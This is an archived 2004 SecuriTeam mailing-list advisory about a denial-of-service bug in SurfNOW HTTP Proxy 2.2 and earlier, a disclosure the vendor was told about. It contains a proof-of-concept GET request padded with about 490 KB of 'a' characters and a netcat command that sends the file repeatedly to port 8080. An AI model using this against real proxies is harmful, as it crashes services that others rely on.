

[NT] SurfNOW HTTP Proxy Denial Of Service

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-01/0091.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 01/29/04

To: list@securiteam.com

Date: 29 Jan 2004 19:38:19 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

SurfNOW HTTP Proxy Denial Of Service

SUMMARY

<<http://www.loomsoft.com/>> SurfNOW is "a simple local HTTP Proxy Server (running on your computer) without cache. SurfNOW protects your privacy while on the Internet as well as speeds up your downloads. It can also completely hide your IP address by dynamically connecting to non-transparent anonymizing public proxy servers."

A bug in the way SurfNOW handles long HTTP headers could lead to a denial-of-service condition, if a carefully crafted long string is sent.

DETAILS

Vulnerable Systems:

* SurfNOW version 2.2 or prior

Sending a very long HTTP request would cause SurfNOW to stop working properly. For example, the following HTTP request:

```
GET \aaaaaaaaaaaa[ 490 kb of a ]aaaa HTTP/1.1\n\n
```

NOTE: 490Kb of the character 'a' is being sent.

Securiteam: [NT] SurfNOW HTTP Proxy Denial Of Service

It is possible to test this bug in another way using NetCat, repetitively:

```
nc -v -v host 8080 < testFile.txt  
( note: "testFile.txt" is a file of 490 Kb as [1] )
```

Vendor Status:

The vendor has been notified and the bug will be fixed in the next version. Stay tuned to the vendor's page.

ADDITIONAL INFORMATION

The information has been provided by <mailto:fdonato@autistici.org>
Donato Ferrante

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.